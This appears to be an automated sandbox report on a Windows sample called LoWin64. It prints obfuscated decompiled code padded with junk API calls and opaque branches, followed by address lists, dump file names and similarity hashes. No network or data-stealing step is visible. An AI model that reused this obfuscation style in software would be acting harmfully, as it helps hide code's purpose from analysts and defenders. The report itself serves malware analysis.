				_t392 = (_t389 - _t503 | _t497) + _t503;
				if (0x68 - 0x3f >= 0) goto 0xb1ca811d;
				E00007FF67FF6B1D3ACF4(_t392);
				if (0x68 - 0x3f >= 0) goto 0xb1ca810c;
				_t395 = (_t392 - _t503 | _t497) + _t503;
				_t216 = r15d & 0xffffff00 | 0x00000068 - 0x0000003f < 0x00000000;
				 *0xb1decf60 = 0;
				goto 0xb1ca8168;
				if ((E00007FF67FF6B1D3ACF4(_t395) & r14d) >= 0) goto 0xb1ca812d;
				_t398 = (_t395 - _t503 | _t497) + _t503;
				if (0x68 - 0x18 >= 0) goto 0xb1ca8168;
				if ((E00007FF67FF6B1D3ACF4(_t398) & r14d) >= 0) goto 0xb1ca8142;
				_t401 = (_t398 - _t503 | _t497) + _t503;
				if (0x68 != 0x7e) goto 0xb1ca8168;
				_t132 = E00007FF67FF6B1D3ACF4(_t401);
				_t133 = _t132 & r14d;
				if ((_t132 & r14d) >= 0) goto 0xb1ca8157;
				_t404 = (_t401 - _t503 | _t497) + _t503;
				r8d = r15d;
				r8b = _t404 - 0x18 < 0;
				 *0xb1decf60 = r8d;
				r9d =  *((intOrPtr*)(_t505 + 0x20));
				r8d = _a152;
				E00007FF67FF6B1CB41F0(_t133, _t227, _t477,  *((intOrPtr*)(_t505 + 0x90)), _t500); // executed
				E00007FF67FF6B1CB4910(E00007FF67FF6B1D3B360(_t216, _t477, 0, _t404, _t509), _t227,  *((intOrPtr*)(_t505 + 0x90)));
				 *0xb1decf60 = _t503;
				E00007FF67FF6B1D3ACF4(_t404);
				E00007FF67FF6B1D3ACF4(_t404);
				asm("push es");
				_t407 = (_t404 - _t503 | 0xffffff80) + _t503;
				asm("movsd xmm6, [0x11694a]");
				_t272 = _t407 - 5;
				if (_t272 != 0) goto 0xb1ca81f1;
				E00007FF67FF6B1D3ACF4(_t407);
				if (_t272 >= 0) goto 0xb1ca81e3;
				_t410 = (_t407 - _t503 | 0xffffff80) + _t503;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t272 < 0) goto 0xb1ca8240;
				asm("bound ecx, [ebp+0x14]");
				asm("dec ebp");
				E00007FF67FF6B1D3ACF4(_t410);
				if (_t272 >= 0) goto 0xb1ca820e;
				_t413 = (_t410 - _t503 | 0xffffff80) + _t503;
				if (_t413 - 0x79 >= 0) goto 0xb1ca8218;
				if (0x60 - 0x67 < 0) goto 0xb1ca81f6;
				E00007FF67FF6B1D3ACF4(_t413);
				if (0x60 - 0x67 >= 0) goto 0xb1ca8228;
				_t416 = (_t413 - _t503 | 0xffffff80) + _t503;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xb1decf60 = _t416;
				 *0xb1decf60 = _t503;
				GetWindowTextLengthW(??);
				 *0xb1decf60 = r12d;
				r12d = r12d + __ebp;
				_t275 = r12d - 0x42;
				if (_t275 < 0) goto 0xb1ca824e;
				GetMessageTime();
				E00007FF67FF6B1D3ACF4(_t416);
				if (_t275 >= 0) goto 0xb1ca8274;
				_t419 = (_t416 - _t503 | 0xffffff80) + _t503;
				_t276 = _t419 - 0x2e;
				if (_t276 > 0) goto 0xb1ca82a0;
				GetUserDefaultLangID();
				E00007FF67FF6B1D3ACF4(_t419);
				if (_t276 >= 0) goto 0xb1ca828f;
				_t218 = r15d & 0xffffff00 | (_t419 - _t503 | 0xffffff80) + _t503 - 0x0000002e <= 0x00000000;
				 *0xb1decf60 = 0;
				goto 0xb1ca82e3;
				_t154 = E00007FF67FF6B1D3ACF4((_t419 - _t503 | 0xffffff80) + _t503);
				 *0x144CAB2D =  *((intOrPtr*)(0x144cab2d)) + _t218;
				 *0x144CA51D =  *((intOrPtr*)(0x144ca51d)) + _t218;
				 *0x6b =  *0x6b + _t154;
				_t424 = _a160 + _t503;
				_a160 = _t424;
				 *0xb1decf60 = _t424;
				_t278 = _t424 - 0x1f;
				if (_t278 < 0) goto 0xb1ca82a5;
				 *0xb1decf60 = _t503;
				asm("movsd xmm6, [0x116455]");
				_push(0xe800144c);
				 *_t424 =  *_t424 | _t424;
				if (_t278 >= 0) goto 0xb1ca8308;
				_t427 = (_t424 - _t503 | 0xffffff80) + _t503;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t278 != 0) goto 0xb1ca8318;
				if (_t278 == 0) goto 0xb1ca831d;
				if (0x3 - 0x13 < 0) goto 0xb1ca82f0; // executed
				GetForegroundWindow();
				if ((E00007FF67FF6B1D3ACF4(_t427) & r14d) >= 0) goto 0xb1ca8333;
				_t430 = (_t427 - _t503 | 0xffffff80) + _t503;
				if (_t430 - 0x34 >= 0) goto 0xb1ca8341;
				 *0xb1decf60 = r15d;
				goto 0xb1ca8387;
				asm("adc cl, [esp+edx]");
				if ((E00007FF67FF6B1D3ACF4(_t430) & r14d) >= 0) goto 0xb1ca835e;
				_t433 = (_t430 - _t503 | 0xffffff80) + _t503;
				if (_t433 - 0x1a >= 0) goto 0xb1ca8368;
				if (0x45 - 0x52 < 0) goto 0xb1ca8346;
				E00007FF67FF6B1D3ACF4(_t433);
				if (0x45 - 0x52 >= 0) goto 0xb1ca8378;
				_t436 = (_t433 - _t503 | 0xffffff80) + _t503;
				 *0xb1decf60 = 0;
				E00007FF67FF6B1D3ACF4(_t436);
				if (_t436 - 0x34 >= 0) goto 0xb1ca8397;
				_t439 = (_t436 - _t503 | 0xffffff80) + _t503;
				_t286 = _t439 - 0x1f;
				if (_t286 != 0) goto 0xb1ca83d6;
				E00007FF67FF6B1D3ACF4(_t439);
				if (_t286 >= 0) goto 0xb1ca83ac;
				_t287 = (_t439 - _t503 | 0xffffff80) + _t503 - 4;
				if (_t287 == 0) goto 0xb1ca83d6;
				GetForegroundWindow();
				E00007FF67FF6B1D3ACF4((_t439 - _t503 | 0xffffff80) + _t503);
				if (_t287 >= 0) goto 0xb1ca83c7;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r13d;
				r13d = r13d + __ebp;
				_t289 = r13d - 0x54;
				if (_t289 < 0) goto 0xb1ca83d6;
				asm("push ss");
				if (_t289 < 0) goto 0xb1ca83eb;
				 *0xb1decf60 = 0x10;
				 *0xb1decf60 = _t503;
				GetUserDefaultLangID();
				GetCurrentProcessId();
				GetTickCount();
				 *0xb1decf60 = _t503;
				IsIconic(??);
				asm("adc al, 0x0");
				_t448 = 0x50 + _t503;
				if (0x50 - 0x56 < 0) goto 0xb1ca8423;
				E00007FF67FF6B1D3ACF4(_t448);
				if (0x50 - 0x56 >= 0) goto 0xb1ca8440;
				_t451 = (_t448 - _t503 | 0xffffff80) + _t503;
				asm("movsd xmm6, [0x1163f8]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (0x50 - 0x56 >= 0) goto 0xb1ca849d;
				E00007FF67FF6B1D3ACF4(_t451);
				if (0x50 - 0x56 >= 0) goto 0xb1ca8466;
				_t454 = (_t451 - _t503 | 0xffffff80) + _t503;
				if (0x50 - 0x63 < 0) goto 0xb1ca849d;
				E00007FF67FF6B1D3ACF4(_t454);
				E00007FF67FF6B1D3ACF4(_t454);
				E00007FF67FF6B1D3ACF4(_t454);
				if (0x50 - 0x63 >= 0) goto 0xb1ca8485;
				_t457 = (_t454 - _t503 | 0xffffff80) + _t503;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				goto 0xb1ca84d3;
				E00007FF67FF6B1DA4028();
				 *0xb1decf60 = _t503;
				E00007FF67FF6B1D3ACF4(_t457);
				if (0x50 - 0x2c >= 0) goto 0xb1ca84bb;
				_t460 = (_t457 - _t503 | 0xffffff80) + _t503;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xb1decf60 = 0x50;
				E00007FF67FF6B1D3ACF4(_t460);
				E00007FF67FF6B1D3ACF4(_t460);
				if (0x50 - 0x2c >= 0) goto 0xb1ca84e8;
				_t463 = (_t460 - _t503 | 0xffffff80) + _t503;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(_t463);
				E00007FF67FF6B1D3ACF4(_t463);
				if (0x50 - 0x6c >= 0) goto 0xb1ca8513;
				_t466 = (_t463 - _t503 | 0xffffff80) + _t503;
				if (0x50 - 0x18 >= 0) goto 0xb1ca855a;
				E00007FF67FF6B1D3ACF4(_t466);
				if (0x50 - 0x18 >= 0) goto 0xb1ca8528;
				if (0x50 - 0x19 > 0) goto 0xb1ca855a;
				asm("sldt word [ebx]");
				asm("fisttp qword [ecx+0x144a201d]");
				asm("scasd");
				asm("daa");
				 *0x50 =  *0x50 | 0x00000050;
				if (0x50 - 0x19 >= 0) goto 0xb1ca8550;
				_t472 = ((_t466 - _t503 | 0xffffff80) + _t503 - _t503 | 0xffffff80) + _t503;
				if (0x50 != 0x3b) goto 0xb1ca855a;
				if (0x3e - 0x49 < 0) goto 0xb1ca8532;
				_t197 = E00007FF67FF6B1D3ACF4(_t472);
				if (0x3e - 0x49 >= 0) goto 0xb1ca856a;
				asm("movaps xmm6, [esp+0x30]");
				r15b = (_t472 - _t503 | 0xffffff80) + _t503 - 0x19 > 0;
				 *0xb1decf60 = r15d;
				return _t197 & r14d;
			}

0x7ff6b1ca7d32
0x7ff6b1ca7d37
0x7ff6b1ca7d41
0x7ff6b1ca7d4c
0x7ff6b1ca7d52
0x7ff6b1ca7d62
0x7ff6b1ca7d64
0x7ff6b1ca7d6a
0x7ff6b1ca7d72
0x7ff6b1ca7d78
0x7ff6b1ca7d7a
0x7ff6b1ca7d82
0x7ff6b1ca7d86
0x7ff6b1ca7d8a
0x7ff6b1ca7d8e
0x7ff6b1ca7d90
0x7ff6b1ca7d98
0x7ff6b1ca7d9e
0x7ff6b1ca7da3
0x7ff6b1ca7da7
0x7ff6b1ca7dad
0x7ff6b1ca7db5
0x7ff6b1ca7dbb
0x7ff6b1ca7dbd
0x7ff6b1ca7dc4
0x7ff6b1ca7dc8
0x7ff6b1ca7dcf
0x7ff6b1ca7dd5
0x7ff6b1ca7dda
0x7ff6b1ca7de2
0x7ff6b1ca7de8
0x7ff6b1ca7dea
0x7ff6b1ca7df5
0x7ff6b1ca7dfc
0x7ff6b1ca7dff
0x7ff6b1ca7e05
0x7ff6b1ca7e07
0x7ff6b1ca7e0b
0x7ff6b1ca7e0f
0x7ff6b1ca7e13
0x7ff6b1ca7e1d
0x7ff6b1ca7e28
0x7ff6b1ca7e2a
0x7ff6b1ca7e30
0x7ff6b1ca7e37
0x7ff6b1ca7e39
0x7ff6b1ca7e43
0x7ff6b1ca7e4b
0x7ff6b1ca7e5c
0x7ff6b1ca7e62
0x7ff6b1ca7e6a
0x7ff6b1ca7e72
0x7ff6b1ca7e79
0x7ff6b1ca7e7d
0x7ff6b1ca7e84
0x7ff6b1ca7e8a
0x7ff6b1ca7e92
0x7ff6b1ca7ea3
0x7ff6b1ca7eb2
0x7ff6b1ca7eb4
0x7ff6b1ca7eb9
0x7ff6b1ca7ebb
0x7ff6b1ca7ec3
0x7ff6b1ca7ec9
0x7ff6b1ca7ece
0x7ff6b1ca7ed0
0x7ff6b1ca7ed8
0x7ff6b1ca7ee0
0x7ff6b1ca7ee3
0x7ff6b1ca7eee
0x7ff6b1ca7ef0
0x7ff6b1ca7ef1
0x7ff6b1ca7ef7
0x7ff6b1ca7eff
0x7ff6b1ca7f05
0x7ff6b1ca7f10
0x7ff6b1ca7f16
0x7ff6b1ca7f1b
0x7ff6b1ca7f23
0x7ff6b1ca7f29
0x7ff6b1ca7f2e
0x7ff6b1ca7f3c
0x7ff6b1ca7f42
0x7ff6b1ca7f47
0x7ff6b1ca7f51
0x7ff6b1ca7f57
0x7ff6b1ca7f5c
0x7ff6b1ca7f60
0x7ff6b1ca7f6e
0x7ff6b1ca7f74
0x7ff6b1ca7f7f
0x7ff6b1ca7f84
0x7ff6b1ca7f8c
0x7ff6b1ca7f92
0x7ff6b1ca7f97
0x7ff6b1ca7fa1
0x7ff6b1ca7fa7
0x7ff6b1ca7fac
0x7ff6b1ca7fb2
0x7ff6b1ca7fba
0x7ff6b1ca7fc0
0x7ff6b1ca7fc2
0x7ff6b1ca7fca
0x7ff6b1ca7fce
0x7ff6b1ca7fd2
0x7ff6b1ca7fd6
0x7ff6b1ca7fe4
0x7ff6b1ca7fea
0x7ff6b1ca7fef
0x7ff6b1ca7ffd
0x7ff6b1ca8003
0x7ff6b1ca8008
0x7ff6b1ca800a
0x7ff6b1ca8018
0x7ff6b1ca801e
0x7ff6b1ca8029
0x7ff6b1ca802f
0x7ff6b1ca8031
0x7ff6b1ca803b
0x7ff6b1ca803e
0x7ff6b1ca8044
0x7ff6b1ca8046
0x7ff6b1ca804e
0x7ff6b1ca8052
0x7ff6b1ca8056
0x7ff6b1ca805a
0x7ff6b1ca805c
0x7ff6b1ca805e
0x7ff6b1ca8064
0x7ff6b1ca806a
0x7ff6b1ca8072
0x7ff6b1ca8078
0x7ff6b1ca8083
0x7ff6b1ca8089
0x7ff6b1ca8090
0x7ff6b1ca8098
0x7ff6b1ca809e
0x7ff6b1ca80a0
0x7ff6b1ca80a7
0x7ff6b1ca80ab
0x7ff6b1ca80b2
0x7ff6b1ca80b8
0x7ff6b1ca80ba
0x7ff6b1ca80c1
0x7ff6b1ca80c9
0x7ff6b1ca80cf
0x7ff6b1ca80da
0x7ff6b1ca80e0
0x7ff6b1ca80e7
0x7ff6b1ca80ef
0x7ff6b1ca80f5
0x7ff6b1ca80fa
0x7ff6b1ca80fc
0x7ff6b1ca8104
0x7ff6b1ca810a
0x7ff6b1ca8112
0x7ff6b1ca8115
0x7ff6b1ca811b
0x7ff6b1ca8125
0x7ff6b1ca812b
0x7ff6b1ca8130
0x7ff6b1ca813a
0x7ff6b1ca8140
0x7ff6b1ca8145
0x7ff6b1ca8147
0x7ff6b1ca814c
0x7ff6b1ca814f
0x7ff6b1ca8155
0x7ff6b1ca8157
0x7ff6b1ca815d
0x7ff6b1ca8161
0x7ff6b1ca8168
0x7ff6b1ca816d
0x7ff6b1ca8184
0x7ff6b1ca81a1
0x7ff6b1ca81a6
0x7ff6b1ca81ac
0x7ff6b1ca81b1
0x7ff6b1ca81bf
0x7ff6b1ca81c4
0x7ff6b1ca81c6
0x7ff6b1ca81ce
0x7ff6b1ca81d1
0x7ff6b1ca81d3
0x7ff6b1ca81db
0x7ff6b1ca81e1
0x7ff6b1ca81e3
0x7ff6b1ca81e7
0x7ff6b1ca81eb
0x7ff6b1ca81ef
0x7ff6b1ca81fa
0x7ff6b1ca81fb
0x7ff6b1ca81fe
0x7ff6b1ca8206
0x7ff6b1ca820c
0x7ff6b1ca8211
0x7ff6b1ca8216
0x7ff6b1ca8218
0x7ff6b1ca8220
0x7ff6b1ca8226
0x7ff6b1ca8228
0x7ff6b1ca822f
0x7ff6b1ca8233
0x7ff6b1ca823a
0x7ff6b1ca8242
0x7ff6b1ca8248
0x7ff6b1ca824e
0x7ff6b1ca8255
0x7ff6b1ca8258
0x7ff6b1ca825c
0x7ff6b1ca825e
0x7ff6b1ca8264
0x7ff6b1ca826c
0x7ff6b1ca8272
0x7ff6b1ca8274
0x7ff6b1ca8277
0x7ff6b1ca8279
0x7ff6b1ca827f
0x7ff6b1ca8287
0x7ff6b1ca8295
0x7ff6b1ca8298
0x7ff6b1ca829e
0x7ff6b1ca82a0
0x7ff6b1ca82ae
0x7ff6b1ca82b4
0x7ff6b1ca82ba
0x7ff6b1ca82c9
0x7ff6b1ca82cb
0x7ff6b1ca82d2
0x7ff6b1ca82d8
0x7ff6b1ca82db
0x7ff6b1ca82dd
0x7ff6b1ca82e3
0x7ff6b1ca82f4
0x7ff6b1ca82fb
0x7ff6b1ca8300
0x7ff6b1ca8306
0x7ff6b1ca8308
0x7ff6b1ca830c
0x7ff6b1ca8310
0x7ff6b1ca8314
0x7ff6b1ca8316
0x7ff6b1ca831b
0x7ff6b1ca831d
0x7ff6b1ca832b
0x7ff6b1ca8331
0x7ff6b1ca8336
0x7ff6b1ca8338
0x7ff6b1ca833f
0x7ff6b1ca834a
0x7ff6b1ca8356
0x7ff6b1ca835c
0x7ff6b1ca8361
0x7ff6b1ca8366
0x7ff6b1ca8368
0x7ff6b1ca8370
0x7ff6b1ca8376
0x7ff6b1ca8381
0x7ff6b1ca8387
0x7ff6b1ca838f
0x7ff6b1ca8395
0x7ff6b1ca8397
0x7ff6b1ca839a
0x7ff6b1ca839c
0x7ff6b1ca83a4
0x7ff6b1ca83ac
0x7ff6b1ca83af
0x7ff6b1ca83b1
0x7ff6b1ca83b7
0x7ff6b1ca83bf
0x7ff6b1ca83d0
0x7ff6b1ca83d6
0x7ff6b1ca83dd
0x7ff6b1ca83e0
0x7ff6b1ca83e4
0x7ff6b1ca83ef
0x7ff6b1ca83f0
0x7ff6b1ca83f2
0x7ff6b1ca83f8
0x7ff6b1ca83fe
0x7ff6b1ca8404
0x7ff6b1ca840a
0x7ff6b1ca8412
0x7ff6b1ca8418
0x7ff6b1ca8427
0x7ff6b1ca8429
0x7ff6b1ca842e
0x7ff6b1ca8430
0x7ff6b1ca8438
0x7ff6b1ca843e
0x7ff6b1ca8440
0x7ff6b1ca8448
0x7ff6b1ca844c
0x7ff6b1ca8450
0x7ff6b1ca8454
0x7ff6b1ca8456
0x7ff6b1ca845e
0x7ff6b1ca8464
0x7ff6b1ca8469
0x7ff6b1ca846b
0x7ff6b1ca8470
0x7ff6b1ca8475
0x7ff6b1ca847d
0x7ff6b1ca8483
0x7ff6b1ca848e
0x7ff6b1ca8494
0x7ff6b1ca849b
0x7ff6b1ca849f
0x7ff6b1ca84a5
0x7ff6b1ca84ab
0x7ff6b1ca84b3
0x7ff6b1ca84b9
0x7ff6b1ca84bb
0x7ff6b1ca84c2
0x7ff6b1ca84c6
0x7ff6b1ca84cd
0x7ff6b1ca84d3
0x7ff6b1ca84d8
0x7ff6b1ca84e0
0x7ff6b1ca84e6
0x7ff6b1ca84f1
0x7ff6b1ca84f7
0x7ff6b1ca84fe
0x7ff6b1ca8503
0x7ff6b1ca850b
0x7ff6b1ca8511
0x7ff6b1ca8516
0x7ff6b1ca8518
0x7ff6b1ca8520
0x7ff6b1ca852b
0x7ff6b1ca8536
0x7ff6b1ca8539
0x7ff6b1ca8541
0x7ff6b1ca8542
0x7ff6b1ca8543
0x7ff6b1ca8548
0x7ff6b1ca854e
0x7ff6b1ca8553
0x7ff6b1ca8558
0x7ff6b1ca855a
0x7ff6b1ca8562
0x7ff6b1ca856a
0x7ff6b1ca8574
0x7ff6b1ca8578
0x7ff6b1ca858f

APIs

IsIconic.USER32 ref: 00007FF6B1CA7DA7

Memory Dump Source

Source File: 00000019.00000002.471908681.00007FF6B1CA1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6B1CA0000, based on PE: true

Associated: 00000019.00000002.471898120.00007FF6B1CA0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473004363.00007FF6B1DA4000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473431822.00007FF6B1DEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473482729.00007FF6B1DEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473540111.00007FF6B1DFE000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473695074.00007FF6B1E17000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473710818.00007FF6B1F75000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473730190.00007FF6B1F77000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473944631.00007FF6B1FA8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff6b1ca0000_LoWin64.jbxd

Similarity

API ID: Iconic
String ID:
API String ID: 110040809-0
Opcode ID: 32648af495d114e67a63010b91c7a366c5927214f345f0171cee8a88764d6e5b
Instruction ID: bca7fa66e3e5ebffa741de429a896de23c90df597aad7c82d88c1f3927d8b697
Opcode Fuzzy Hash: 32648af495d114e67a63010b91c7a366c5927214f345f0171cee8a88764d6e5b
Instruction Fuzzy Hash: 0F818E67F38A0AA6F7115F3CAD4E2B962A16F20709F740739D309E118ADF3CF5828245

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6B1CA7D19 Relevance: 7.7, APIs: 5, Instructions: 210
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 67%

			E00007FF67FF6B1CA7D19(void* __eax, void* __edi, void* __ebp, struct HWND__* __rdx, void* _a32, void* _a144, signed int _a152, signed long long _a160, void* _a168) {
				signed int _t134;
				void* _t156;
				signed int _t199;
				signed int _t218;
				signed int _t220;
				void* _t229;
				void* _t237;
				signed int _t240;
				void* _t247;
				signed int _t265;
				void* _t276;
				void* _t279;
				void* _t280;
				void* _t282;
				void* _t290;
				void* _t291;
				void* _t293;
				void* _t305;
				void* _t308;
				void* _t311;
				void* _t318;
				void* _t321;
				void* _t324;
				void* _t327;
				void* _t330;
				void* _t344;
				void* _t347;
				void* _t354;
				void* _t357;
				void* _t360;
				void* _t363;
				void* _t366;
				void* _t369;
				void* _t372;
				void* _t375;
				void* _t378;
				void* _t381;
				void* _t384;
				void* _t387;
				void* _t390;
				void* _t393;
				void* _t396;
				void* _t399;
				void* _t402;
				void* _t405;
				void* _t408;
				void* _t411;
				void* _t414;
				void* _t417;
				void* _t420;
				signed long long _t423;
				void* _t426;
				signed long long _t431;
				void* _t434;
				void* _t437;
				void* _t440;
				void* _t443;
				void* _t446;
				void* _t455;
				void* _t458;
				void* _t461;
				void* _t464;
				void* _t467;
				void* _t470;
				void* _t473;
				void* _t479;
				void* _t484;
				signed long long _t491;
				signed long long _t504;
				void* _t507;
				signed long long _t510;
				void* _t512;
				void* _t516;

				_t308 = (_t305 - _t510 | _t504) + _t510;
				if (_t308 - 0x1d <= 0) goto 0xb1ca7d58;
				if ((E00007FF67FF6B1D3ACF4(_t308) & r14d) >= 0) goto 0xb1ca7d34;
				_t311 = (_t308 - _t510 | _t504) + _t510;
				if (_t311 != 0x67) goto 0xb1ca7d58;
				if ((E00007FF67FF6B1D3ACF4(_t311) & r14d) >= 0) goto 0xb1ca7d49;
				_t237 = (_t311 - _t510 | _t504) + _t510 - 0x67;
				 *0xb1decf60 = _t491;
				if (_t237 < 0) goto 0xb1ca7d5d;
				 *0xb1decf60 = 0x4d;
				E00007FF67FF6B1D3ACF4(0x4d);
				if (_t237 >= 0) goto 0xb1ca7d7a;
				_t318 = (0x0000004d - _t510 | _t504) + _t510;
				asm("movsd xmm6, [0x1169ae]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t237 > 0) goto 0xb1ca7dda;
				E00007FF67FF6B1D3ACF4(_t318);
				if (_t237 >= 0) goto 0xb1ca7da0;
				_t321 = (_t318 - _t510 | _t504) + _t510;
				if (0x4d - 0xb <= 0) goto 0xb1ca7dda;
				IsIconic(__rdx);
				E00007FF67FF6B1D3ACF4(_t321);
				if (0x4d - 0xb >= 0) goto 0xb1ca7dbd;
				_t324 = (_t321 - _t510 | _t504) + _t510;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xb1decf60 = 0x4d;
				goto 0xb1ca7ea9;
				E00007FF67FF6B1D3ACF4(_t324);
				if (0x4d - 0xb >= 0) goto 0xb1ca7dea;
				_t327 = (_t324 - _t510 | _t504) + _t510;
				asm("movsd xmm6, [0x116af6]");
				if (0x4d != 0x76) goto 0xb1ca7e39;
				_t240 = E00007FF67FF6B1D3ACF4(_t327) & r14d;
				if (_t240 >= 0) goto 0xb1ca7e07;
				_t330 = (_t327 - _t510 | _t504) + _t510;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t240 >= 0) goto 0xb1ca7e39;
				if ((E00007FF67FF6B1D3ACF4(_t330) & r14d) >= 0) goto 0xb1ca7e25;
				if (0x4d != 0x30) goto 0xb1ca7e30;
				GetTickCount();
				 *0xb1decf60 = r15d;
				goto 0xb1ca7e8a;
				 *0xb1decf60 = 0x53;
				E00007FF67FF6B1D3ACF4((_t330 - _t510 | _t504) + _t510);
				if (0x4d - 0x30 >= 0) goto 0xb1ca7e53;
				 *0xb1decf60 = 0;
				E00007FF67FF6B1D3ACF4(((_t330 - _t510 | _t504) + _t510 - _t510 | _t504) + _t510);
				if (0x4d - 0x79 >= 0) goto 0xb1ca7e72;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xb1decf60 = 0x4d;
				E00007FF67FF6B1D3ACF4((((_t330 - _t510 | _t504) + _t510 - _t510 | _t504) + _t510 - _t510 | _t504) + _t510);
				if (0x4d - 0x79 >= 0) goto 0xb1ca7e9a;
				 *0xb1decf60 = 0;
				asm("adc al, 0x0");
				_t344 = 0x15 + _t510;
				if (0x15 - 0x18 < 0) goto 0xb1ca7eae;
				E00007FF67FF6B1D3ACF4(_t344);
				if (0x15 - 0x18 >= 0) goto 0xb1ca7ecb;
				_t347 = (_t344 - _t510 | _t504) + _t510;
				if (0x15 - 0x4e < 0) goto 0xb1ca7f1b;
				E00007FF67FF6B1D3ACF4(_t347);
				if (0x15 - 0x4e >= 0) goto 0xb1ca7ee0;
				_t247 = (_t347 - _t510 | _t504) + _t510 - 0x65;
				if (_t247 > 0) goto 0xb1ca7f1b;
				if (_t247 == 0) goto 0xb1ca7f62;
				asm("stc");
				 *0xb1decf60 = 0x68;
				E00007FF67FF6B1D3ACF4(0x68);
				if (_t247 >= 0) goto 0xb1ca7f07;
				_t354 = (0x00000068 - _t510 | _t504) + _t510;
				 *0xb1decf60 = 0;
				goto 0xb1ca80e7;
				E00007FF67FF6B1D3ACF4(_t354);
				if (0x68 - 0x65 >= 0) goto 0xb1ca7f2b;
				_t357 = (_t354 - _t510 | _t504) + _t510;
				if (0x68 - 0x24 < 0) goto 0xb1ca80e7;
				if ((E00007FF67FF6B1D3ACF4(_t357) & r14d) >= 0) goto 0xb1ca7f44;
				_t360 = (_t357 - _t510 | _t504) + _t510;
				if (0x68 - 0x15 < 0) goto 0xb1ca7f84;
				if ((E00007FF67FF6B1D3ACF4(_t360) & r14d) >= 0) goto 0xb1ca7f59;
				_t363 = (_t360 - _t510 | _t504) + _t510;
				if (0x68 == 0x5e) goto 0xb1ca7f84;
				GetWindowTextLengthW(??);
				if ((E00007FF67FF6B1D3ACF4(_t363) & r14d) >= 0) goto 0xb1ca7f76;
				_t366 = (_t363 - _t510 | _t504) + _t510;
				goto 0xb1ca80da;
				E00007FF67FF6B1D3ACF4(_t366);
				if (0x68 - 0x15 >= 0) goto 0xb1ca7f94;
				_t369 = (_t366 - _t510 | _t504) + _t510;
				if (0x68 - 0x63 < 0) goto 0xb1ca7fb2;
				if ((E00007FF67FF6B1D3ACF4(_t369) & r14d) >= 0) goto 0xb1ca7fa9;
				_t372 = (_t369 - _t510 | _t504) + _t510;
				if (0x68 - 0x13 <= 0) goto 0xb1ca80c1;
				E00007FF67FF6B1D3ACF4(_t372);
				if (0x68 - 0x13 >= 0) goto 0xb1ca7fc2;
				_t375 = (_t372 - _t510 | _t504) + _t510;
				asm("movsd xmm6, [0x1169fe]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (0x68 - 0x13 < 0) goto 0xb1ca80ba;
				if ((E00007FF67FF6B1D3ACF4(_t375) & r14d) >= 0) goto 0xb1ca7fec;
				_t378 = (_t375 - _t510 | _t504) + _t510;
				if (0x68 - 0x1e < 0) goto 0xb1ca80ba;
				if ((E00007FF67FF6B1D3ACF4(_t378) & r14d) >= 0) goto 0xb1ca8005;
				_t381 = (_t378 - _t510 | _t504) + _t510;
				if (0x68 - 0x78 <= 0) goto 0xb1ca8031;
				GetCurrentProcess();
				if ((E00007FF67FF6B1D3ACF4(_t381) & r14d) >= 0) goto 0xb1ca8020;
				_t384 = (_t381 - _t510 | _t504) + _t510;
				 *0xb1decf60 = 0;
				goto 0xb1ca8090;
				E00007FF67FF6B1D3ACF4(_t384);
				_t265 = E00007FF67FF6B1D3ACF4(_t384) & r14d;
				if (_t265 >= 0) goto 0xb1ca8046;
				_t387 = (_t384 - _t510 | _t504) + _t510;
				asm("movsd xmm0, [0x116742]");
				asm("movd xmm1, eax");
				asm("cvtdq2pd xmm1, xmm1");
				asm("ucomisd xmm0, xmm1");
				if (_t265 != 0) goto 0xb1ca805e;
				if (_t265 == 0) goto 0xb1ca8064;
				GetDoubleClickTime();
				 *0xb1decf60 = _t510;
				E00007FF67FF6B1D3ACF4(_t387);
				if (_t265 >= 0) goto 0xb1ca807a;
				_t390 = (_t387 - _t510 | _t504) + _t510;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(_t390);
				if (0x68 - 0x3f >= 0) goto 0xb1ca80a0;
				_t393 = (_t390 - _t510 | _t504) + _t510;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xb1decf60 = 0x68;
				goto 0xb1ca80c1;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(_t393);
